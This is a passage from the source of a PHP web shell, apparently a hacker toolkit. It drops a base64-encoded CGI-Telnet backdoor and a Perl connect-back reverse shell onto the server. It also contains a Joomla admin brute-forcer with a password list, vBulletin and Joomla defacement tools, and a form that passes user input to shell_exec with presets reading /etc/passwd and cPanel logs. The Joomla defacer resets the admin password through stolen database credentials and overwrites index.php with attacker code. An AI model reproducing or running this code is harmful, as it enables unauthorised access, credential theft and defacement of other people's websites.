WFuZExpbmVJbnB1dEZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKCiRBY3Rpb24gPSAkaW57J2EnfTsKJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAkaW57J2QnfTsKY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CgkmRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0K';
$file = fopen("izo.cin" ,"w+");
$write = fwrite ($file ,base64_decode($cgishellizocin));
fclose($file);
chmod("izo.cin",0755);
$netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
YXRhY2hlZFxuXG4iOw==';
$file = fopen("dc.pl" ,"w+");
$write = fwrite ($file ,base64_decode($netcatshell));
fclose($file);
chmod("dc.pl",0755);
echo "<iframe src=cgitelnet1/izo.cin width=96% height=90% frameborder=0></iframe>
</div>"; }
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jbrute'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jbrute" method="post">
<meta name="author" content="RetnOHacK" />
<meta name="keywords" content="Joomla, Bruter, JoomlaBruter, JoomlaBruterForce, JoomlaBruterForceOnline" />
<meta name="description" content="RetnOHacK #Procoder'z Team Albanian" />
<center>
</br></br>
<center><b><font color="lime">+--=[ Joomla Bruter Force ]=--+</font></b><br /><br />
<form method="post" action="" enctype="multipart/form-data">
<table class="tabnet" width="38%" border="0"><center>
<th colspan="2">Joomla Brute Force</th>
<tr><td><p ><font class="d1">User :</font></th>
<input class="inputz" type='text' name="usr" value="admin" size="15"> </font></center><br /><br /></p>
</td></tr>
<tr><td><font class="">Sites list :</font>
</td><td><font class="" >Pass list :</font></td></tr>
<tr>
<td>
<textarea name="sites" style="background:black;" cols="40" rows="13" ></textarea>
</td><td>
<textarea name="w0rds" style="background:black;" cols="40" rows="13" >
admin
123456
password
102030
123123
12345
123456789
pass
test
admin123
demo
!@#$%^
</textarea>
</td></tr><center><tr><td>
<font >
<input class="inputzbut" type="submit" name="x" value="start" id="d4">
</font></td></tr><br>
tanks for procoder'z team albanian<br></center></table>
</form></center>
<?
@set_time_limit(0);
if($_POST['x']){
echo "<hr>";
$sites = explode("
",$_POST["sites"]); // Get Sites
$w0rds = explode("
",$_POST["w0rds"]); // Get w0rdLiSt
$Attack = new Joomla_brute_Force(); // Active Class
foreach($w0rds as $pwd){
foreach($sites as $site){
$Attack->check_it(txt_cln($site),$_POST['usr'],txt_cln($pwd)); // Brute :D
flush();flush();
}
}
}
# Class & Function'z
function txt_cln($value){ return str_replace(array("
","
"),"",$value); }
class Joomla_brute_Force{
public function check_it($site,$user,$pass){ // print result
if(eregi('com_config',$this->post($site,$user,$pass))){
echo "<span class=\"x2\"><b># Success : $user:$pass -> <a href='$site/administrator/index.php'>$site/administrator/index.php</a></b></span><BR>";
$f = fopen("Result.txt","a+"); fwrite($f , "Success ~~ $user:$pass -> $site/administrator/index.php
"); fclose($f);
flush();
}else{ echo "# Failed : $user:$pass -> $site<BR>"; flush();}
}
public function post($site,$user,$pass){ // Post -> user & pass
$token = $this->extract_token($site);
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,'username='.$user.'&passwd='.$pass.'&lang=en-GB&option=com_login&task=login&'.$token.'=1');
curl_setopt($curl,CURLOPT_TIMEOUT,20);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
public function extract_token($site){ // get token from source for -> function post
$source = $this->get_source($site);
preg_match_all("/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si" ,$source,$token);
return $token[1][0];
}
public function get_source($site){ // get source for -> function extract_token
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_TIMEOUT,20);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
}
}
/////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'vb'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=vb" method="post">
<br><br><br><div align="center">
<H2><span style="font-weight: 400"><font face="Trebuchet MS" size="4">
<b><font color="#00FF00">+--=[ VB Index Changer ]=--+</font></b>
</div><br>
<?
if(empty($_POST['index'])){
echo "<center><FORM method=\"POST\">";
echo "<table class=\"tabnet\">
<th colspan=\"2\">Vb Index Changer</th>
<tr><td>host </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"localhost\" value=\"localhost\"></td></tr>
<tr><td>database </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"database\" value=\"forum_vb\"></td></tr>
<tr><td>username </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"username\" value=\"user_vb\"></td></tr>
<tr><td>password </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"password\" value=\"vb\"></td></tr>
</tr>
<th colspan=\"2\">Your Index Code</th></table><table class=\"tabnet\">
<TEXTAREA name=\"index\" rows=\"13\" style=\"background:black\" border=\"1\" cols=\"69\" name=\"code\">your index code</TEXTAREA><br>
<INPUT class=\"inputzbut\" type=\"submit\" value=\"setting\" name=\"send\">
</FORM></table></center>";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$index = $_POST['index'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$index=str_replace("\'","'",$index);
$set_index = "{\${eval(base64_decode(\'";
$set_index .= base64_encode("echo \"$index\";");
$set_index .= "\'))}}{\${exit()}}</textarea>";
echo("UPDATE template SET template ='".$set_index."' ") ;
$ok=@mysql_query("UPDATE template SET template ='".$set_index."'") or die(mysql_error());
if($ok){
echo "!! update finish !!<br><br>";
}
}
}
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'bypass'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=bypass" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>-=[ Command Bypass Exploit ]=-</font></b><br>
";
print_r('
<pre>
<form method="POST" action="">
<b><font color=#00ff00><b><font color="#00ff00">Command :=) </font></font></b><input name="baba" type="text" class="inputz" size="34"><input type="submit" class="inputzbut" value="Go">
</form>
<form method="POST" action=""><strong><b><font color="#00ff00">Menu Bypass :=) </font></strong><select name="liz0" size="1" class="inputz">
<option value="cat /etc/passwd">/etc/passwd</option>
<option value="netstat -an | grep -i listen">netstat</option>
<option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>
<option value="cat /etc/syslog.conf">/etc/syslog.conf</option>
<option value="cat /etc/hosts">/etc/hosts</option>
<option value="cat /etc/named.conf">/etc/named.conf</option>
<option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>
</select> <input type="submit" class="inputzbut" value="Gö">
</form>
</pre>
');
ini_restore("safe_mode");
ini_restore("open_basedir");
$liz0=shell_exec($_POST[baba]);
$liz0zim=shell_exec($_POST[liz0]);
$uid=shell_exec('id');
$server=shell_exec('uname -a');
echo "<pre><h4>";
echo $liz0;
echo $liz0zim;
echo "</h4></pre>";
"</div>"; }
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jodexer'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jodexer" method="post">
<?php
function randomt() {
$chars = "abcdefghijkmnopqrstuvwxyz023456789";
srand((double)microtime()*1000000);
$i = 0;
$pass = '' ;
while ($i <= 7) {
$num = rand() % 33;
$tmp = substr($chars, $num, 1);
$pass = $pass . $tmp;
$i++;
}
return $pass;
}
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
{
$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[$i]);
$ar=trim($ar1[0]);
return $ar;
}
if ($_POST['form_action'])
{
$text=file_get_contents($_POST['file']);
$username=entre2v2($text,"public $user = '","';");
$password=entre2v2($text,"public $password = ', '","';");
$dbname=entre2v2($text,"public $db = ', '","';");
$dbprefix=entre2v2($text,"public $dbprefix = '","';");
$site_url=($_POST['site_url']);
$h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";
$co=randomt();
/*
echo($username);
echo("<br>");
echo($password);
echo("<br>");
echo($dbname);
echo("<br>");
echo($dbprefix);
echo("<br>");
*/
$co=randomt();
if ($_POST['form_action'])
{
$h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";
$link=mysql_connect("dzoed.druknet.bt",$username,$password) ;
mysql_select_db($dbname,$link) ;
$tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
echo("<br>[+] Changing admin password to 123456789");
$req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
if ( $req )
{
#################################################################
###################### V1.6 ######################
#################################################################
$req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
$data = mysql_fetch_array($req);
$template_name=$data["template"];
$req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name."'");
$data = mysql_fetch_array($req);
$template_id=$data["extension_id"];
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
$hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
///////////////////////////
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,"com_config");
if($pos === false) {
echo("<br>[-] Login Error");
exit;
}
else {
echo("<br>[~] Login Successful");
}
///////////////////////////
$url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
if($hidden2) {
echo("<br>[+] index.php file founded in Theme Editor");
}
else {
echo("<br>[-] index.php Not found in Theme Editor");
exit;
}
echo("<br>[*] Updating Index.php .....");
$url2=$site_url."/index.php?option=com_templates&layout=edit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,'<dd class="message message">');
if($pos === false) {
echo("<br>[-] Updating Index.php Error");
exit;
}
else {
echo("<br>[~] index.php successfully saved");
}
#################################################################
###################### V1.6 END ######################
#################################################################
}
else
{
#################################################################
###################### V1.5 ######################
#################################################################
$req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
$data = mysql_fetch_array($req);
$template_name=$data["template"];
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,"com_config");
if($pos === false) {
echo("<br>[-] Login Error");
exit;
}
else {
echo("<br>[+] Login Successful");
}
///////////////////////////
$url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
if($hidden2) {
echo("<br>[~] index.php file founded in Theme Editor");
}
else {
echo("<br>[-] index.php Not found in Theme Editor");
}
echo("<br>[*] Updating Index.php .....");
$url2=$site_url."/index.php?option=com_templates&layout=edit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,'<dd class="message message fade">');
if($pos === false) {
echo("<br>[-] Updating Index.php Error");
exit;
}
else {
echo("<br>[~] index.php successfully saved");
}
#################################################################
###################### V1.5 END ######################
#################################################################
}
}
function randomt() {
$chars = "abcdefghijkmnopqrstuvwxyz023456789";
srand((double)microtime()*1000000);
$i = 0;
$pass = '' ;
while ($i <= 7) {
$num = rand() % 33;
$tmp = substr($chars, $num, 1);
$pass = $pass . $tmp;
$i++;
}
return $pass;
}
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
{
$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[$i]);
$ar=trim($ar1[0]);
return $ar;
}
}?>
<center><br><br>
<font color="#00ff00" size='+3'><b>+--=[ Automatic Joomla Index Changer ]=--+</b></font><br><br>
</center>
<center><b>
Link of symlink configuration.php of Joomla<br></b>
<FORM action="" method="post">
<input type="hidden" name="form_action" value="1">
<input type="text" class="inputz" size="60" name="file" value="http://site.com/sym/home/user/public_html/configuration.php">
<br>
<br><b>
Admin Control panel url</b><br>
<input type="text" class="inputz" size="40" name="site_url" value="http://site/administrator"><br>
<br><b>
Your Index Code</b>
<br>
<TEXTAREA rows="20" align="center" style="background:black" cols="120" name="code"> your index code
</TEXTAREA>
<br>
<INPUT class="inputzbut" type="submit" value="Lets Go Deface !!!" name="Submit">
</FORM>
</center>
<script language=JavaScript>m='%09%09%09%09%09%09%09%3C/td%3E%0A%09%09%09%09%09%09%3C/tr%3E%0A%09%09%09%09%09%3C/table%3E%0A%09%09%09%09%3C/td%3E%0A%3C/html%3E';d=unescape(m);document.write(d);</script>
<?php
}
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi2012')) {
echo "<center/><br/><b>
+--==[ CGI-Telnet Version 1.3 ]==--+
</b><br><br>";
mkdir('cgi2012', 0755);
chdir('cgi2012');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
$metin = "AddHandler cgi-script .izo";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgi2012 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7CgokUGFzc3dvcmQgPSAiYmFuZHVuZ2tvdGFzYW1wYWgiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfQoJZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3